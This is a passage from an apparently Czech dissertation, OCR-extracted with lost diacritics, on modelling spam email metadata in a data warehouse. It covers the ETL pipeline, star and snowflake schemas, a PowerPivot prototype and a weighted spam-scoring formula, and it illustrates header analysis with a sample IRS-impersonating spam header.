svilj vyznam a potencial. Pokud je mozné tato data zpracovat, pak mohou byt vyuzita
k ziskani vyhody nad okolim. Na druhou stranu pravé velky objem dat je problémem.
Jejich zpracovani vyzaduje velkou vypocetni silu nebo vhodny nastroj, ktery praci

s mnozstvim dat uleh¢i (Xiang, a dalsi, 2015), (Seznam.cz, 2014).

Stejny princip jde aplikovat na metadata emailovych zprav, vcetné textového obsahu
a informaci o pfipojenych souborech. Pro firemni analyzu je potieba prochazet
riznorodé¢ zdroje (napiiklad sociélni sit¢) (Xiang, a dalsi, 2015), v oblasti antispamové
problematiky je situace se zdroji jednodussi — jako hlavni zdroj zde je emailovy server,

dil¢imi pak externi antispamové nastroje (blacklisty, ...).

Pro uspésné fungovani antispamového systému je nutné udrzovat historickd data.
Spammeti obnovuji odesilani sad zprav v pribéhu delsiho ¢asového horizontu. Jedna
zprava pak je rozesilana dlouhodobé (kontinudlné nebo ve vinach) (A.Vasilenko,
2013). Doba je uréena trvanim zakazky, ta je pak vazana na profit a udrzitelnost sluzeb

navazanych na obsah spamu.

Uvedeny vzorek 384 308 nevyzadanych emailovych zprav predstavuje 640MB dat
ulozenych v souborech formatu xml. V surové podobé¢ je to pak nékolik GB dat. Zde
je patrna uspora pii transformaci emailovych zprav na soubor metadat obsahujicich

potiebné informace bez velkych narokt na lozny prostor.
5.1 Metadata emailové zpravy

Pro klasifikaci spamovosti je zapotiebi analyzovat maximum dostupnych dat. Ta jsou
dostupna v hlavicce, kde jsou kompletni zdznamy o dané zpraveé. Dal§im zdrojem dat
je vlastni obsah zpravy, ktery je moZné hodnotit dil¢imi metodami, napt. bayesovské
filtrovani, kde kazdé slovo ma své skore dle zastoupeni ve zpravach klasifikovanych
jako spam. Druhym néstrojem na hodnoceni obsahu je podobnostni hash, naptiklad
Nilsimsa. Ta do jisté miry eliminuje dil¢i zmény, které provadi spammer, aby ztiZil
detekci. Pokud by obsah zpravy byl hodnocen pouze pomoci hash funkce (jako md5),
nebylo by mozné provést seskupeni do setu zprav. Podobnostni hash toto do jisté miry

eliminuje.
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Poslednim zdrojem dat je volitelna ptiloha zpravy — obvykle u spamu obsahuje

malware. Ten je neménny, pomoci hash funkce Ize analyzovat zpravy dle piiloh.
Emailova zprava dle aktualni normy ma nasledujici obsah:

Return-Path: auto-reply@irs.gov

Delivered-To: kos@vasilenko.cz

Received: from localhost (localhost [127.0.0.1]) by s4.vasilenko.cz (Postfix) with
ESMTP id 887AE21394 for <20alexandr@vasilenko.cz>; Tue, 29 Dec 2015
10:27:14 +0100 (CET)

X-Virus-Scanned: Debian amavisd-new at s4.vasilenko.cz

Received: from s4.vasilenko.cz ([127.0.0.1]) by localhost (s4.vasilenko.cz
[127.0.0.1]) (amavisd-new, port 10024) with ESMTP id kbwfnpljixW?7 for
<20alexandr@vasilenko.cz>; Tue, 29 Dec 2015 10:27:08 +0100 (CET)
Received: from cs1841.mojohost.com (cs1841.mojohost.com [64.59.93.131]) by
s4.vasilenko.cz (Postfix) with ESMTPS id BF70121391 for
<20alexandr@vasilenko.cz>; Tue, 29 Dec 2015 10:27:07 +0100 (CET)
Received: from [172.19.154.8] (221-134-115-75.sify.net [221.134.115.75] (may be
forged)) (authenticated bits=0) by cs1841.mojohost.com (8.14.4/8.14.4) with
ESMTP id tBT9FvIr023357; Tue, 29 Dec 2015 04:19:24 -0500

Message-Id: 201512290919.tBT9FvIr023357@cs1841.mojohost.com Content-
Type: multipart/mixed; boundary="=============0645657115=="
MIME-Version: 1.0

Subject: NON RESIDENT ALIEN TAX WITHHOLDING UPDATE.

To: Recipients auto-reply@irs.gov

From: "IRS" auto-reply@irs.gov

Date: Tue, 29 Dec 2015 14:48:27 +0530

You will not see this in a MIME-aware mail reader.

—e===============(645657115==

Content-Type: multipart/alternative; boundary="==========1200572250=="
MIME-Version: 1.0

——===============1200572250==

Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body
Obsah zpravy — text

Content-Type: application/pdf
MIME-Version: 1.0
Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="W-8BEN FORM.pdf"

Nasleduje piiloZzeny soubor
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Identifikovana metadata

Metadata emailové zpravy lze popsat nasledujici hierarchickou strukturou (vlastni
vyzkum autora):

Return-path - emailova adresa
— kam se mé poslat odpoveéd’

o Uzivatel

o Doména
Delivered-to — emailova adresa
— doruceno na adresu (zde
doménovy kos)

o Uzivatel

o Doména
Received — uvedeno celkem 4x

o Email uzivatel

o Email doména

o Atomizovany datum a

cas

o Odesilatel IP

o Odesilatel doména

o Posledni uzel IP

o Posledni uzel doména

Message-id — id zpravy

SMTP — software
odesilatelského SMTP serveru
Subject — text predmétu zpravy
From —uvedeny odesilatel
(nemusi byt stejny jako pole
received from)
Nilsimsa hash — podobnostni
hash pro celou zpravu
Odkazy

o Doména

o Dilé¢i odkaz

o IP
Jednotlivé fetézce
Bayesovsk¢ klasifikatory pro
jednotlivé fetézce
DKIM — pokud je pfitomen
SPF — pokud je pfitomen

Attachement — hash otisk

V ¢lanku (Vasilenko Alexandr, 2013) byl piedstaven koncept klasifikace seti

nevyzadanych zprav. V rdmci zpracovani hodnoceni spamovosti pomoci BI je tento

koncept mozno vyuzit. Identifikace seti pak piredstavuje metodu hodnoceni

spamovosti zpravy a komplexnim pohledu na pfijaté zpravy jako celek, ne pouze

hodnotit zpravu jako izolovanou entitu. Charakteristické je srovnani jednotlivych

zprav nejenom na zékladé souhrnné hodnoty spamovosti zpravy, dil¢ich spole¢nych

znakl s dal$imi jiz identifikovanymi nevyZzadanymi zpravami.

Ptislusnost k setu je definovana metadaty emailové zpravy. Kazda hodnota urcuje dil¢i

spamové hodnoceni, vysledny vektor (Vasilenko Alexandr, 2013) pak umozni

hodnotit zpravy komplexné a nikoliv na zaklad¢ prostého souctu a srovnani hrani¢nich

hodnot spamovosti.



Uzite¢nost tohoto konceptu je posilena vazbou spamovych zprav na urcity botnet. Ten
neni obvykle specializovan na pouhé¢ rozesilani nevyzadanych zprév, ale také na dalsi
¢innosti. Jednou z nich je snaha o distribuovany utok na ptihlasovaci tidaje, naptiklad

pokud o uhédnuti hesla pro ssh pfistup na server.

Autor téchto utokti zaznamenal mnoho, je to realita provozovani jakéhokoliv zatfizeni
s vetejnou IP adresou. Ve snaze obejit ndstroje pro zakézani ptistupu pro jednotlivou
IP adresu (naptiklad néstroj fail2ban) je vyuzito botnetu — kazda IP adresa ma tfi
pokusy o pfihlaseni, po jejim zablokovani je vystfidana dalSim pocitacem botnetu
(vlastni vyzkum autora).

Vektorizace je systém hodnoceni zprav zaloZeny na rozliSeni zprav ne na zakladé

celkového skore zpravy, ale na jejim vektoru — ten je sloZen z jednotlivych slozek. Pti

standardnim hodnoceni je zprava bodovéna:

ID zpravy Spamovost
10s215dsf 0,878
11sdsf877 0,741
2s8841fwe 0,879
55112ee57 0,233

Z tohoto vytahu hodnoceni standardniho hodnoceni je vidét podobné skore 1. a 3.
zpravy. Pokud bychom pouZili zjednoduseny dvoudimenzionalni vektor, zjistime, Ze

maji ob€ velmi podobné skore, avSak patii k jinému setu zprav.

5.2 Datovd pumpa

Nedilnou soucésti datovych skladii jsou datové pumpy. Pomoci nich zajistujeme
pfisun dat do analytické databaze. Datova pumpa je proces importu dat do datového

skladu daty z datovych zdroji, tento proces je sloZzen ze tii dil¢ich krokd - Extraction,
Transformation, Load (ETL):

e Extrakce — zde z externich a internich datovych zdroju
e Transformace — aprava dat ziskanych procesem Extrakce

e VloZeni — vlozeni transformovanych dat do datového skladu.
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Extrakce

Féze ziskévani dat z datovych zdroja predstavuje kli¢ovy aspekt procesu ETL. Ziskana
data vstupuji do dalSich fazi zpracovani, pokud je extrakce nevhodné nastavena, pak

nasledné kroky jsou touto chybou zatizeny.
Data jsou extrahovana z nékolika zdroju:

e Externi blacklisty

e Externi databaze nevyzadanych zprav

e Pijjaté emailové zpravy
Kazdy z téchto zdroji pouziva vlastni format a je pravé na procesu extrakce jejich
spravné vyhodnoceni a ptredani dalSimu procesu, zdroji dat zde je databaze (SQL),

XML soubory, JSON soubory, MIME soubory a dalsi.

Pted pfedanim dat dalSimu zpracovani je nutné ovéteni dat, zda jsou v korektnim
formatu — tedy provedeni kontroly dat, zda spliuji pfedpoklddand integritni omezeni.

Pokud je ovéfeni netispésné, je nutné dany zdznam reportovat a preskocit jeho extrakei.
Transformace

Ve fézi transformace dat jsou aplikovana pravidla na extrahovana data tak, aby bylo
mozné je vlozit do datového skladu. Pokud data nevyzaduji upravy, pak je odborna

literatura oznacuje jako direct move or pass through.

Transformace zajistuje také cCiSténi dat, tedy jejich upravu, pokud je nutna pro
rovnocenné vyhodnocovani dat. Pfikladem zde jsou Casova data v hlavi¢ce emailové
zpravy, kde jsou Casy zatizeny hodnotou ¢asového pasma ¢i korekce znakil v ramci

riznych znakovych sad.
Jako transformace lze vybérové poukazat na nasledujici operace:

e Pieklady kodované hodnoty

e Mapovani hodnot na zkraceny tvar
e Piepocty

e Slucovani dat z nékolika zdroja

e Rozdé¢leni komplexni hodnoty na dil¢i

92



Load

Vkladéani dat do datového skladu probiha dle stanovenych pozadavkl na data, ktera
byla upravena na pozadované hodnoty transformaci. Nékteré datové sklady piepisuji
existujici informace — kumulativni nahrani, jiny postup je aktualizace dat na denni,
tydenni nebo mésicni bazi.

Dalsi pfistup importuje nova data v pravidelnych intervalech — napiiklad kazdou
hodinu. Stanoveni aktualiza¢niho intervalu je zavislé na objemu zpracovavanych dat
a rychlosti celého procesu ETL. V pfipad¢ antispamového ndstroje je hodinovy
interval aktualizace vyhovujici. Z hlediska zastaravani udaji a jejich vyfazeni

z datového skladu je nutné vychazet z potieb antispamového nastroje.

Ukolem datové pumpy je zde transformace vstupnich surovych dat (emailové zpravy,
externi podplrné nastroje, ...) tak, aby bylo mozné plnit datovy sklad relevantnimi

daty v jednotném formatu. Jen tak 1ze garantovat spravnou funkci datového skladu.

Transformace dat vyzaduje dil¢i ¢i plnou zménu dat ze vstupu, zejména jejich validaci
a filtraci relevantnich dat. Toto je duleZzité pro zavislost na né€kolika zdrojich najednou,
jak externich, tak internich. Filtrace poskytuje kontrolu nekonzistence dat a pfipadné
odstranéni. V privoznim nasazeni lze datovou pumpu definovat jako soubor nastroji

ptizptisobenych cilovému datovému skladu a informa¢nim potfebam.

eDovecot

*DBL )
eRazor
ePyzor

°... Y,

eSpamassassin
*Rucni akce uZivatele

*VBA

*ROLAP

) S €< £ ¢

Obrazek 31 - Obecné schéma datové pumpy
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Na rozdil od vétSiny dalSich soucasti datového skladu je datova pumpa pro kazdy
datovy skladu unikatni. Datova pumpa je prvnim potencialné slabym mistem datového
skladu, je tedy nutné provést optimalizaci a pravidelné vykon datové pumpy
analyzovat. Konkrétni realizace je z hlediska vykonu velice kritickym mistem celého
skladu. Optimalizace a vyladéni datové pumpy se provadi jednorazové pii jejim
vytvareni, antispamovy nastroj je vSak dynamicky a je nutno datovou pumpu

prizptisobovat aktualnim potifebam.
5.2.1 Prvotni agregace

Pocitani agregovanych dat je Cinnost velice ¢asové narocna, proto je v datovych
skladech zadouci tuto Cinnost zbytecné neopakovat. Snahou je vypocitat co mozno
nejvice agregaci dopfedu a v hlavni ¢asti datového skladu uchovévat data uz v
agregované podobé. Nad takto uloZzenymi daty je pak mnohem snazsi realizovat
dotazy, které jsou pro tento typ zpracovani dat charakteristické. Optimalni datovy
sklad poskytuje pouze agregované udaje a to ve formé pfedem definovanych ¢iselnych
ukazatell, které se v nejvétsi dostupné podrobnosti vytvareji béhem prvotni agregace.

Ptikladem faktu je pocet vyskytl stejné IP adresy odesilatele ¢i stejny subnet.
5.2.2 Vytvareni dimenzi

Dalsi proces na cesté plnéni datového skladu je vytvareni prvotnich agregaci a plnéni
obsahu dimenzi. Obsah dimenzi 1 hodnoty faktl v primarnich agregacich se ziskavaji
z primarni databaze datového skladu. Proces vytvareni obsahu dimenzi je ve své
podstaté staticky, az na vyjimky probiha pouze pii zakladani datového skladu. Operace
pfi plnéni datového skladu jsou vykonové nendro¢né, neni zapotiebi rozsahlych

optimalizaci.

Druhou ¢asti tohoto procesu je vlastni vytvareni primarnich agregaci pro vSechna
datova trzisté, kterd datovy sklad obsahuje. V tomto ptipad¢ se jednd o proces narocny
na vykon. Jednim z divodi je opakované vytvateni atomickych agregaci po naplnéni
primarni databaze novymi daty a je proto zadouci minimalizovat poCet operaci v
jednom opakovani. Dal$im divodem je, ze agregace se vytvareji na zdklad¢
zpracovani velikého mnozstvi primdrnich dat a jejich vytvofeni je tudiz Casoveé
naro¢né. Casova naroénost vytvafeni atomickych agregaci je vétiinou srovnatelna

nebo vysSi nez Casova narocnost vstupni datové pumpy mimo jiné i proto, ze se
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atomicka agregace musi pocitat pro kazdé datové trzisté¢ zvlast, ¢cimz imeérné stoupa

celkova Casova narocnost pro vétsi pocet datovych trzist' v datovém skladu.

Cast vytvateni atomickych agregaci a plnéni dimenzi je opét znaéné aplikacné zavisla
a musi byt z velké Casti vytvotena pro kazdou aplikaci datového skladu znovu. Na
rozdil od datové pumpy, kterd byla zcela zavisla na aplikacni oblasti, je agregacni ¢ast

zavisla na aplikacni oblasti pouze ¢astecné.
5.2.3 Navrh datové pumpy

Vyse uvedené poznatky lze aplikovat pfi ndvrhu modelu datové pumpy pro ucely
naplnéni funkce OLTP systému. V nasledujici sekvenci jednotlivych krokt
uvazovaného feSeni jsou tak pokryty prvni tfi body metodiky ASOLAP. Jedna se o
praci s diferencovanymi datovymi zdroji, kde primarnim datovym zdrojem je ptichozi
emailova komunikace. Dil¢imi zdroji jsou pak data z riznych distribuovanych sluzeb

(Razor, Project HoneyPot, Distribuované blacklisty a dalsi).

Nasleduje seskupeni dil¢ich krokt pro Gpravu dat a jejich vlozeni do datového skladu
—ETL. Pozadovana data z jednotlivych zdroji jsou extrahovana, upravena do jednotné

podoby — a nahrana do datového skladu.

Datovy sklad je navrzen dle pozadavkl stanovenych na metadata, zajiStuje tak

efektivni fungovani vyhodnocovani metadat dle ASOLAP.
Postup zpracovani dat 1ze tedy definovat v nasledujici sekvenci:

1. Datové zdroje

a. Lokalni

b. Distribuované
2. ETL

a. Extract

b. Transform

c. Load
3. Datové ulozisté

a. Data mart

b. Data warehouse
4. OLAP
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Vzhledem K pouziti linuxového serveru zaloZzeného na opera¢nim systému Linux
(Debian 8 Squeeze) a OLAP nastroje PowerPivot 1ze uvazovat o n¢kolika technikach,
jak z vyse uvedenych datovych zdroju pievést riznoroda data do datového skladu.

V ramci prace je dvoufazovy:

1. Sbér dat a jejich ptesun do docasné slozky

2. Ptevod dat do datového skladu
Sbér dat a presun do docasné slozky

Jedna se o praci s existujicimi soubory (pro ucely prace je tato ¢innost provadéna
offline, tedy s existujicimi zpravami, nikoliv online pfimo na pfijmu zprav). Na vse

tedy postacuji programovaci moznosti Linuxového terminalu — bash skripty.
Pievod dat do datového skladu

V ramci nastroje PowerPivot a prostiedi Microsoft Excelu byl pouzit programovaci
jazyk VBA (Visual Basic for Applications), ten je integrovan do prostiedi Microsoft

Office a je tak mozné vyuzit souc¢innosti VBA a Excel (PowerPivotu).

Pro kazdou zpravu je vygenerovan XML soubor s nésledujici strukturou:

e Email
o Subject
o Date (Year, Month, Day, Hour, Minute, Second, Timezone, Weekday)
o Received3
= R-server

e R-date (R-date-year, R-date-month, R-date-day, R-date-
hour, R-date-minute, R-date-second, R-date-timezone,
R-date-weekday)

e R-ip

o R-geoip (R-country, R-region, R-ip)

o File (name, hash)
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5.3 Datova schémata

Logicky navrh datového skladu ovlivituje budouci vykonnostni charakteristiky celého

feSeni. Logicky navrh lze charakterizovat jednim ze tfi datovych schémat:

e hvézda (star schema)
e vlocka (snowflake schema)

e souhvézdi (constellation schema)

Prvni dvé schémata maji typicky jednu tabulku faktt a dale tabulky dimenzi. Ty jsou
u schématu typu hvézda bez hierarchické struktury, schéma typu vlocka pak zahrnuje

hierarchii dimenzionalnich tabulek.

Tteti schéma je kombinaci nékolika schémat hvézda ¢i vlocka. Pfedstavuje komplexni
datovou strukturu s nékolika tabulkami fakti a rozvétvenymi strukturami tabulek

dimenzi. Pro Gcely disertacni prace je uvaZzovano pouze s prvnimi dvéma schématy.
Hvézda

Jednodusi z obou schémat se vyznacuje jednou tabulkou faktii a pfipojenych tabulek
dimenzionalnich. Plati, ze kazda dimenzionalni tabulka je propojena pfimo s tabulkou
fakt a neni kni pfipojena Zadna dal$i dimenziondlni tabulka. Jedna se tedy o

jednoduchou strukturu s jednou trovni hierarchie na strané dimenzionalnich tabulek.

Schéma hvézdy vyuzivd denormalizovaného zpiisobu ukladdni dat. Vzhledem
k absenci hierarchie mize dochazet k redundanci udaji — coz je pro schéma typu

hvézda charakteristické.

Tabulka faktli obsahuje zaznamy o emailovych zpravach, plus odkazy do tabulek
dimenzi (metadata emailové zpravy). Kazda z tabulek dimenzi je spojena s tabulkou
fakti prostfednictvim vazby mezi primarnim a cizim klicem (obdoba rela¢nich
databazi — stejny princip propojeni prostiednictvim primarnich a cizich kli¢t). Tabulka
faktl pak v pfipad€ datumové sloZky metadat obsahuje polozku date id —to odpovida
unikatnimu zdznamu v tabulce dimenzi. Tabulka fakti obsahuje potfebny pocet cizich

kli¢t pro vSechny dimenzionalni tabulky.

Z podstaty toho schématu vyplyva, ze data jsou denormalizovana — tedy stejné
hodnoty mohou byt uloZeny v tabulce dimenzi nékolikrat. Napiiklad zadznam
z knihovny GeolP (mésto, region stat) bude v tabulce dimenzi ulozen pro kazdy

zdaznam znovu, 1 kdyz jiZ bude dand kombinace v tabulce dimenzi pfitomna. Ve
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schématu typu hvézda tak dochdzi k duplikaci dat. Grafické znazornéni schématu typu

hvézda je mozné znazornit nasledovné (modie tabulka fakti, zelené tabulky dimenzi):

Dimenze From

Dimenze Attachement

Dimenze Received 1

Dimenze Received 2

From-ID — Aftachement-ID — Received1-1D — Received2-1D
User MName Server Server
Domain Hash Year Year
TLD Size Month Month
Day Day
) Dimenze Return-Path
Dimenze To Hour Hour
Return-Path-ID
To-ID Minute Minute
u User
ser Second Second
Domain Domain
Timezone Timezone
TLD
TLD CEST CEST
Tabulka faktd WeekDay WeekDay
Dimension Link Return-Path-ID P P
Link-1D
. » Aftachement-D Country Country
Link Receivedi-ID .
Domain Received2-ID <
TLD Message-ID Dimenze Message
IP address » From-ID <—|— Message-ID
Country » To-D Subject
Region »{ Link-ID Year
Hash »| String-ID Manth
Average Word counter Day
Average Bayesian score Hour
Time difference Minute
Message count Second
Timezone
CEST
Dimension String
WeekDay
String-1D
. Nilsimsa
Bayesian score
DKIM
Row 3
SPF

Bayesian score

Obrazek 32 - Navrzené datové schéma - hvézda

Snéhova vlocka

Snéhova vlocka je pokrocilejsi a rozvétvengjsi nez jednoducha hvézda. Hlavnim
rozdilem je hierarchickd struktura dimenziondlnich tabulek. Stejny postup lze
aplikovat také pro schéma typu snéhova vlocka, toto schéma se od typu hvézda lisi
slozitosti tabulek dimenzi. V pfedchozim typu bylo schéma s tabulkami dimenzi
s urovni hierarchie 1 — tedy dimenzionalnich tabulek je ve schématu stejné, jako cizich
klich v tabulce fakt. U schématu typu sné¢hové vlocka maji tabulky dimenzi vice

urovni hierarchie — schéma je Clenit¢j$i a umoznuje citlivé pracovat se
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strukturovanymi daty. Data v tomto schématu jsou normalizovand, schéma vlocka se

tak organizaci dat velmi blizi konven¢ni rela¢ni databazi.

Dimenze IP
— IP-ID
Country
Region

Dimenze Domain name

= Domain-name-ID

IP-ID
User
Domain

TLD

Dimenze Return-Path

Return-Path-1D

— Domain-name-ID

Dimenze From

From-ID

L— Domain-name-ID

Dimenze To

To-ID

L—— Domain-name-ID

Dimension Link

Link-ID

Domain-name-ID

Link

IP-ID
Hash

Dimenze Attachement
Attachement-ID
Name
Hash

Size

Snéhova vlocka upravuje datové struktury tak, aby byla dosazena mensi duplicita dat

oproti schématu hvézda. Patrné to je na samostatnych tabulkach dimenzi pro Date,

=l

Dimenze Time
Time-1D
Hour
Minute
Second
Timezone

CEST

T

Tabulka fakti

——» Return-Path-ID

Received1-ID
Received2-ID
Message-1D

From-ID

To-ID

Link-ID
Aftachement-ID
String-1D

Average Word counter

Average Bayesian score

Time difference

Message count

'y

'y

Dimension String
String-1D

Bayesian score

Obrazek 33 - Navrzené schéma vloc¢ka

Time, Domain-name a IP (zvyraznéné oranzovou barvou).
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Dimenze Date
Date-ID
Time-1D
Year
Maonth
Day
Weekday

Dimenze Received 1
Received1-1D
Date-ID
Server
IP

Country

Dimenze Received 2
Received2-ID
Date-ID
Server
IP

Country

Dimenze Message
Message-ID
Date-ID
Subject
Milsimsa
DKIM
SPF

Bayesian score




Srovnani schéma snéhova vlocka a hvézda

Ptred designem datového modelu je nutno zvazit, které schéma je pro ASOLAP

vhodny. Kazdé schéma ma své pozitiva a negativa.

Tabulka 4 - srovnani datovych schémat (Tyrychtr, a dalsi, 2015)

Snéhova vlocka Hvézda
Bez redundanci, snadné&jsi sprava Redundance dat
Komplexni navrh, ndvaznost na Jednodussi dotazy, intuitivni havzdory

normalizaci dat pro DBMS

Cv v

Vice cizich kli¢t, slozitéjsi dotazy, niz§i Rychlejsi — nizsi komplexicita dotazli

vykon

Optimalni pro relacni vztahy m:n. Optimalni pro rela¢ni vztahy 1:1 nebo
1.

Vice vazeb Mén¢ vazeb

Pravdépodobné vice dimenziondlnich Pravé jedna dimenziondlni tabulka na

tabulek pro jednu dimenzi. jednu dimenzi

Redukuje naroky na ulozist¢ v ptipadé Vhodné pro tabulky dimenzi s mensim

velkych tabulek dimenzi. poctem sloupct.

Tabulky dimenzi jsou normalizované, Tabulky dimenzi 1 faktd jsou

tabulka faktt nikoliv denormalizované.
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6 Realizace prototypu

Prototypové feSeni bylo realizovdno nastrojem PowerPivot v prostiedi Microsoft
Excel 2013. Vzhledem K obtiznosti a komplexnosti navrzeného schématu byl pro
ovéfeni vybran zjednoduseny model. Prvnim tkolem je realizace datové pumpy. Jeji
¢innost je klicova pro uspésné pouziti OLAP v ramci analyzy metadat emailovych

Zprav.
6.1 Realizace datové pumpy

Datova pumpa pro ucely disertacni prace je z hlediska kodu rozdélena na dvé Casti.
Prvni je zaméfena na Extrakci a Transformaci. Tato je realizovana pomoci
programovaciho jazyka python, kod generuje za kazdy jednotlivy soubor s emailovou
zpravou jeden soubor ve formatu XML. Soubory jsou pak spojeny do jednoho pomoci
linuxového piikazu. Vysledny jednotny XML soubor je pfipraven k importu do

prostiedi Microsoft Excel.
Operace Extract a Transform

Jednotlivé prichozi soubory jsou pro analyzu piesunovany do specialni slozky na

strané serveru.

Rsync —au /var/vmail/spam/ /home/asolap/zdroj
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cron

Y

rsync - presun
obsahu slozky spam

spuiténi parseru

je ve sloZce soubor parsovani souboru

Obrazek 34 - Parsovani nevyzadané posty (vlastni vyzkum autora)

Otevieni souboru, probihd v cyklu pro postupné projiti vSech soubort ve zdrojovém

adresafi. Extrakce probihd prostfednictvim knihoven jazyka python:

e Email, e (date,

e email.utils import, e urlparse,
e mail.header import, e geoip,

o re e geolite2,
e xml.etree.cElementTree, e hashlib,
e email.parser, o 0S.

Extrahovani zpate¢ni adresy

Parsovani zpatecni adresy — transformace na dil¢i slozky — uZivatel, doména druhého
fadu, top level doména. Tato adresa je orienta¢ni, mize obsahovat cokoliv, pro

spammera je diilezity link pro provedeni akce. Do zpatecni adresy se Casto vklada
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davéryhodna adresa. Ta je pouzita bez védomi legitimniho majitele (vlastni vyzkum

autora).

Dilezitou ¢asti hlavicky jsou informace o ptichozi posté z hlediska Casu a IP adresy.
Tyto udaje reprezentuji na jednu stranu skutecnost — IP adresa zfalSovat nelze. Prvni
uzel svefejnou IP adresou je vzdy znamy. Casova slozka poskytuje moZnost
analyzovat postup doruceni. Zejména hledisko srovnani ¢asovych rozdili mezi uzly

1ze pouzit jako dalsi klasifika¢ni pravidlo.
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Parsovani start

Otevri soubor

v

Maéti hodnotu
Return-Path

v

Rozdél
Return-path na
uZivatele,
domeénu, tid.

True

UloZ hodnotu
atributu true

|

Ye

Je piitomen fadek
Received?

Mact
Message-id

v

Maéti Subject

¥

Matti hodnoty:
- server
- datum a tas
- 1P adresa

v

hodnoty
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Datovy sklad pro testovani byl zjednoduSenou variantou testovaného schématu
hvézda. Zjednoduseni je zalozeno na soustfedéni se na informace o zdroji zpravy,

informace o pfedmétu zpravy, ¢asovych udajich, adresatovi a pfilozeném souboru.

Tato sestava metadat poskytuje statistické informace o piijatych zpravach a je mozné

je vyuzit pro ovérovani existujicich pravidel, jejich uptesnéni a tvorbé novych.

Schéma je definovano nasledujicimi slozkami:

e EN
e KEY
e A

e REL
e GK

Tyto polozky maji nésledujici definice:
e EN —kone¢na mnoZina entit
e KEY — kone¢na mnozina klic¢t
e A —konecné neprazdnd mnozina atributti
e F C EN je konecnd mnozina faktt
e D c EN je kone¢na mnozina dimenzi
e M CF je kone¢nd mnoZina mér
Kazda Entita je popsana kolekci klic¢t a atribut a plati pro ni:
e Ve € EN:3({k € KEY}U {a € A})
GK je funkce vracejici klice entit a plati pro ni:
e Ve € Ent:GK(e): Ent - KEY, € KEY
REL < (D x F) je kone¢na mnozina vztaht entit.

6.2 Implementace A - hvézda

Charakteristikou datového schématu hvézda je denormalizovany stav dat. Z hlediska

N 24

Oproti datovému schématu vlocka pak vykazuje mensi mnozstvi relaci, coz umoznuje
operacim nad datovou kostkou rychlejsi praci. Zaroven procesy ETL nemusi byt tak

komplexni. Nahrdni novych dat je zde jednodu$$i — odpadaji rozsahlé kontroly

105



existujicich zdznamt, primarné¢ u kontroly existence kli¢t v tabulkach dimenzi

(Vlastni vyzkum autora).
6.2.1 Logicky navrh prototypu

Pro ovéteni moznosti implementace ROLAP jako nastroje pro analyzu metadat
emailovych zprév, bylo navrzeno prototypové feSeni multidimenzionalni databéze.
Primarni funkci prototypu je tedy ovéieni realizovatelnosti tohoto feSeni a analyza
vykonu tohoto feseni — tedy jeho provozovani v realném case pro upiesnéni pravidel
antispamovych nastroji. Jako zdrojova data byl pouzit vzorek emailovych zprav
popsany vyse a zaroven doslo ke zjednoduseni modelu. Toto zjednoduseni odrazi ucel
prototypu — tedy evaluaci pouzitelnosti ROLAP pro analyzu metadat emailovych

zpréav na ukor plné datové analyzy.
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Dimenze Message-date Dimenze HASH

Message-date-ID — —» HASH-ID
Year Hash
Manth
Day Dimenze Message-time
WeekDay ~» Message-time-ID
Hour
. Minute
Dimenze Server Tabulka faktu 5
econd

Semner-D HASH-ID ~ Timezone
Sarver ‘-~ Message-date-1D

Message-time-1D —

Dimenze R-date
Senver-1D
; ; R-date-1D
Dimenze Subject Rdate-ID e
Subject-1D R-date-year
! | subjectID

Subject R-date-muonth

IP-1D

) R-date-second
R-time-1D
. . R-date-weekday
Dimenze Focet zprav

IP-ID Spamovost
IP Dimenze R-time
CDUﬂtW R-time-1D
Region R-time-hour

R-time-muonth
R-time-second

R-time-timezone

Obriazek 35 - Schéma prototypového FeSeni datového schématu hvézda (Vlastni vyzkum autora)

Navrzené prototypové feSeni je slozeno z jedné tabulky fakti a osmi tabulek dimenzi.
Tabulka faktl obsahuje jednotlivé cizi kli¢e pro kazdou dimenzionalni tabulku, ty

potom obsahuji informace nezbytné pro analyzu dle dané dimenze.
6.2.2 Vektorizace

Dle konceptu vektorizace metadat Ize jednotlivé tabulky popsat vektory, které urcuji
spamovost zpravy za danou dimenzionalni tabulku. Tento vypocet pak lze upravovat

zménou vah jednotlivym dil¢im proménnym a upravovat tak hodnoceni jednotlivych

107



zprav na zékladé¢ vyskytu vybranych klicovych charakteristik nalezenych

v metadatech emailovych zprav.
Navrzené datové schéma hvézda Ize popsat nasledujicim zapisem
S=y1+y2+ystyatys+yst+y;+ys,

kde S je skore spamovosti dané emailové zpravy a y jsou jednotlivé dil¢i vektory

hodnoceni:

ey, je SMTP server pouzity pro odeslani zpravy
® 7y, je datum doruceni zpravy

e 3 je Cas doruCeni zpravy

e 1y, je datum odeslani zpravy

e Yy je Cas odeslani zpravy

® Yy, je hash pfiloZeného souboru

e y,je IP adresa uzlu odesilatele

® ygje predmét zpravy
Jednotlivé vektory maji dil¢i sloZzky hodnoceni v zavislosti na po¢tu dil¢ich hodnot.
SMTP server
V1 ="V11" X1
Kde v;4 je vaha hodnoceni a x; je hodnota proménné — spamovost SMTP serveru.
Datum dorucdeni zpravy
Y2 = Va1° Xa1 + Vot Xpp + V3" Xoz + Vog* X4
Kde v, je vaha hodnoceni a x,; je hodnota proménné — spamovost roku doruceni.
Kde v,, je vaha hodnoceni a x,, je hodnota proménné — spamovost mésice doruceni.
Kde v,3 je vaha hodnoceni a x,3 je hodnota proménné — spamovost dne doruceni.

Kde v,, je vaha hodnoceni a x,, je hodnota proménné — spamovost dne v tydnu.
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Cas dorudeni zpravy

Y3 = V31" X31 + Vsz® X33 + V33 X33+ V3s" X34
Kde v, je vaha hodnoceni a x3; je hodnota proménné — spamovost hodiny doruceni.
Kde v, je vaha hodnoceni a x5, je hodnota proménné — spamovost minuty doruceni.
Kde v35 je vaha hodnoceni a x33 je hodnota proménné — spamovost sekundy doruceni.
Kde v, je vaha hodnoceni a x5, je hodnota proménné — spamovost ¢asové zony.
Datum odeslani zpravy

Ya = Va1 ® Xg1 F Vap® Xap + Va3 Xg3 + Vag " Xga
Kde v,; je vaha hodnoceni a x,; je hodnota proménné — spamovost roku odeslani.
Kde v,, je vaha hodnoceni a x,, je hodnota proménné — spamovost mésice odeslani.
Kde v,5 je vaha hodnoceni a x,3 je hodnota proménné — spamovost dne odeslani.
Kde v,, je vaha hodnoceni a x,, je hodnota proménné — spamovost dne v tydnu.
Cas dorudeni zpravy

Ys = Vs1* Xs1 + VUsz® X5z + Vs3® Xs3+ VUss " Xsy
